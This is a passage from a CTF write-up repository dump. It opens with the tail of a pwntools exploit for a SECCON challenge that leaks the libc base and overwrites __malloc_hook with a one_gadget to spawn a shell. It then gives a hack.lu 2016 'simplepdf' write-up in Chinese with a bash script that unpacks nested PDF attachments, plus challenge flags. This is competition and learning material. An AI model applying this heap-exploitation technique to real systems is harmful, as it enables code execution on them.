46 | arbitrary_write(0x602070, 0x601f88, 3)
47 |
48 | # make list point to first fake chunk (0xd0 + 0x20 == 0xf0)
49 | arbitrary_write(0x602028, 0x20, 1)
50 |
51 | # leak libc base
52 | r.sendlineafter('chocolate\n>> ', '2')
53 | r.sendafter('(Y/n) ', 'y')
54 | r.recvuntil('* ojima\n* ')
55 | libc_base = u64(r.recvn(6) + '\x00'*2) - 0x14a940
56 | log.success('libc base: {}'.format(hex(libc_base)))
57 | malloc_hook = libc_base + libc.symbols['__malloc_hook']
58 | one_gadget = libc_base + 0xf0274
59 | r.sendafter('name of the candidate.\n>> ', 'A'*4)
60 |
61 | # overwrite __malloc_hook to one gadget
62 | arbitrary_write(malloc_hook, one_gadget, 6)
63 | vote('y', 'oshima', 'yes\x00AAAA'+'A'*24+p64(lv-0x10)+'\xfe')
64 | # trigger malloc
65 | stand('C'*4)
66 |
67 | r.interactive()
68 |
69 | # SECCON{I5_7h15_4_fr4ud_3l3c710n?}
70 |
--------------------------------------------------------------------------------
/hackluCTF_2016/README.md:
--------------------------------------------------------------------------------
1 | # hackluCTF_2016
2 |
--------------------------------------------------------------------------------
/hackluCTF_2016/simplepdf/README.md:
--------------------------------------------------------------------------------
1 | # simplepdf
2 |
3 | 這題給了一個 pdf 檔,裡面夾帶了一個附件 `pdf10000.pdf`,把他打開後裡面又是一個附件 `pdf9999.pdf`,因此猜測應該是有很多層的 pdf 檔把最裡面的東西給包起來了,而且命名也有規則。
4 | 於是上網找了一下能夠提取 pdf 附件的指令,發現了 [pdfdetach](http://www.dsm.fordham.edu/cgi-bin/man-cgi.pl?topic=pdfdetach&sect=1)。主要用到的功能有:
5 | * -list:列出該 pdf 夾帶的所有附件
6 | * -save:儲存指定的附件
7 |
8 | 利用這些寫 script 讓他去一層層拆開該 pdf 檔,並假設至少會一直拆到 `pdf0.pdf`
9 |
10 | ```shell
11 | #!/bin/bash
12 |
13 | pdfdetach -save 1 simplepdf_f8004a3ad0acde31c40267b9856e63fc.pdf
14 |
15 | for(( count=10000; count>=0; count=count-1 ))
16 | do
17 | pdfdetach -save 1 "pdf${count}.pdf"
18 | # echo -e "pdf${count}.pdf has been processed !"
19 | done
20 | ```
21 |
22 | 跑完後發現 `pdf0.pdf` 還解出了一個 `start.pdf`,這個 `start.pdf` 裡面又夾帶著同名的 `start.pdf`,打開來就會看到 flag 了。
23 | 另外應該要把 script 改成讓他邊拆邊把之前解出來的給刪掉比較好,因為全部打開後蠻佔空間的QQ
24 |
25 | `flag{pdf_packing_is_fun}`
26 |
--------------------------------------------------------------------------------
/hackluCTF_2016/simplepdf/extractor.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | pdfdetach -save 1 simplepdf_f8004a3ad0acde31c40267b9856e63fc.pdf
4 |
5 | for(( count=10; count>=0; count=count-1 ))
6 | do
7 | pdfdetach -save 1 "pdf${count}.pdf"
8 | # echo -e "pdf${count}.pdf has been processed !"
9 | done
10 |
--------------------------------------------------------------------------------
/hackluCTF_2016/simplepdf/simplepdf_f8004a3ad0acde31c40267b9856e63fc.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/hackluCTF_2016/simplepdf/simplepdf_f8004a3ad0acde31c40267b9856e63fc.pdf
--------------------------------------------------------------------------------